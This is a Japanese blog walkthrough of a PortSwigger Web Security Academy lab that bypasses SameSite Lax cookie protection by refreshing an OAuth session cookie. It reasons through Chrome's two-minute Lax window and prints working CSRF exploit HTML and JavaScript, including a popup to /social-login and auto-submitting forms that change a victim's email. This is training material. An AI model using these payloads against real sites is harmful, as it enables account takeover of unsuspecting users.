Shikata Ga Nai

Private? There is no such things.

SameSite Lax bypass via cookie refreshをやってみた

Hello there, ('ω')ノ

 

Cookie 更新による SameSite Lax バイパスを。

 

このラボの「メールアドレスを変更する」機能にはCSRFの脆弱性があり。

ラボを解決するために、被害者のメールアドレスを変更するCSRF攻撃を実行して。

攻撃には提供されたエクスプロイトサーバを使用する必要があって。

このラボはOAuthベースのログインをサポートしていて。

以下の資格情報を使用して、ソーシャルメディアアカウントでログインできて。

 wiener/peter


注意:

デフォルトのSameSite制限はブラウザごとに異なり。

被害者がChromeを使用しているため、Chromeを使用して

エクスプロイトをテストすることをお勧めして。


ヒント:

他のユーザによってすでに使用されているメールアドレスは登録できず。

自身のメールアドレスをテスト中に変更する場合は、

エクスプロイトに別のメールアドレスを使用するようにして。

ブラウザは、ユーザのクリックなどの手動操作によってトリガされない限り、

ポップアップを開くことをブロックして。

被害者ユーザはあなたが送信するどのページでもクリックするため、

次のようなグローバルイベントハンドラを使用してポップアップを作成できて。

 

<script>
    window.onclick = () => {
        window.open('about:blank')
    }
</script>

 

まずは、ソーシャルメディアアカウントでログインしメールアドレスを変更して。

 

 

 

 

 


履歴からは、はじめにページにアクセスすると。

すぐにCookieが発行されてSameSiteの制限はなく。

 

 

OAuthが実行されて、ここでもCookieが発行されてSameSiteの制限はなく。

 


/my-account/change-email リクエストには、予測不可能なトークンが

含まれていないので、SameSiteのクッキー制限をバイパスできれば

CSRFの脆弱性がある可能性があって。

※FireFoxには、SameSite制限がない

 


OAuthフローの最後にある/oauth-callbackリクエストのレスポンスには

セッションクッキーを設定する際に、WebサイトがSameSite制限を

明示的に指定していないので、Chromeベースのブラウザでは

2分後に自動的にデフォルトのLaxに設定されて。

これは、被害者が2分以上ログインしている場合に適用されて。

 

 

ここで、被害者が実行するにはどうしたらよいかを考えると

120秒内にトークンを更新してもらいエクスプロイトを実行してもらうことで。

下記のURLに直接アクセスするとログイン後のページが表示され

ログインしていることが確認できて。

 

https://0a1f007c030c138a814c57b700c0008c.web-security-academy.net/social-login

 

 

 

このタイミングで、新しいセッションクッキーが更新されるので、

 

 

 

よって、このURLをはじめに実行させてから

メールアドレスを変更するエクスプロイトを実行させるには

下記のようなScript文を使えばよいわけでDeliverしてみると。

 

<script>
    window.open('https://0a87008a031495938012f8d500870012.web-security-academy.net/social-login');
</script>

 

 

しっかりと履歴でリクエストが確認できて。

 

 

エクスプロイトサーバで、下記のエクスプロイトコードを実行すると。

 

<form method="POST" action="https://0a87008a031495938012f8d500870012.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://0a87008a031495938012f8d500870012.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

function changeEmail(){
    document.forms[0].submit();
}
</script>

 

 

正常にメールアドレスは更新されたもののクリアできず。

 

 

ただ、もう一つのエクスプロイトだとメールアドレスは変更できていないものの。

 

<script>

     history.pushState('', '', '/')
 </script>
 <form action="https://0a87008a031495938012f8d500870012.web-security-academy.net/my-account/change-email" method="POST">
     <input type="hidden" name="email" value="foo@bar.com" />
     <input type="submit" value="Submit request" />
 </form>
 <script>
     document.forms[0].submit();
 </script>

 

 

クリアできて。

 

 

 

Best regards, (^^ゞ